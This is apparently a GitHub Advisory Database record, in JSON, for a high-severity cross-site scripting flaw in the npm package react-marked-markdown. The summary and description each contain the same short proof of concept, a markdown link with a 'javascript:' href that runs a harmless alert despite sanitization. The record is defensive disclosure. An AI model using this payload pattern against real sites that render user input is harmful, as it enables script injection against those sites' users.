{"id":"GHSA-m7qm-r2r5-f77q","aliases":["GHSA-m7qm-r2r5-f77q"],"related":[],"kind":"vulnerability","state":"published","title":"Cross-Site Scripting in react-marked-markdown","summary":"All versions of `react-marked-markdown` are vulnerable to cross-site scripting (XSS) via `href` attributes. This is exploitable if user is provided to `react-marked-markdown`\n\nProof of concept:\n\n```\nimport React from 'react'\nimport ReactDOM from 'react-dom'\nimport { MarkdownPreview } from 'react-marked-markdown'\n\nReactDOM.render(\n<MarkdownPreview\nmarkedOptions={{ sanitize: true }}\nvalue={'[XSS](javascript: alert`1`)'}\n/>,\ndocument.getElementById('root')\n)\n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.","summaryFormat":"markdown","summarySource":"ghsa","descriptions":[{"lang":"en","text":"All versions of `react-marked-markdown` are vulnerable to cross-site scripting (XSS) via `href` attributes. This is exploitable if user is provided to `react-marked-markdown`\n\nProof of concept:\n\n```\nimport React from 'react'\nimport ReactDOM from 'react-dom'\nimport { MarkdownPreview } from 'react-marked-markdown'\n\nReactDOM.render(\n<MarkdownPreview\nmarkedOptions={{ sanitize: true }}\nvalue={'[XSS](javascript: alert`1`)'}\n/>,\ndocument.getElementById('root')\n)\n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.","format":"markdown","source":"ghsa"}],"published":"2020-09-01T20:43:48.000Z","modified":"2021-09-24T20:35:29.000Z","severity":{"scorer":"GitHub","scheme":"rating","rating":"HIGH"},"severities":[{"scorer":"GitHub","scheme":"rating","rating":"HIGH"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"type":"semver","introduced":"0.0.0","status":"affected"}],"ecosystem":"npm","package":"react-marked-markdown","purl":"pkg:npm/react-marked-markdown","source":"ghsa"}],"references":[{"url":"https://github.com/Vincent-P/react-marked-markdown/issues/61","tags":["web"],"sources":["ghsa"]},{"url":"https://hackerone.com/reports/344069","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/Vincent-P/react-marked-markdown","tags":["package"],"sources":["ghsa"]},{"url":"https://www.npmjs.com/advisories/668","tags":["web"],"sources":["ghsa"]}],"credits":[],"sources":[{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-m7qm-r2r5-f77q","url":"https://github.com/advisories/GHSA-m7qm-r2r5-f77q","licence":"CC-BY-4.0","modified":"2021-09-24T20:35:29.000Z"}],"updatedAt":"2026-11-25T22:56:45.909Z"}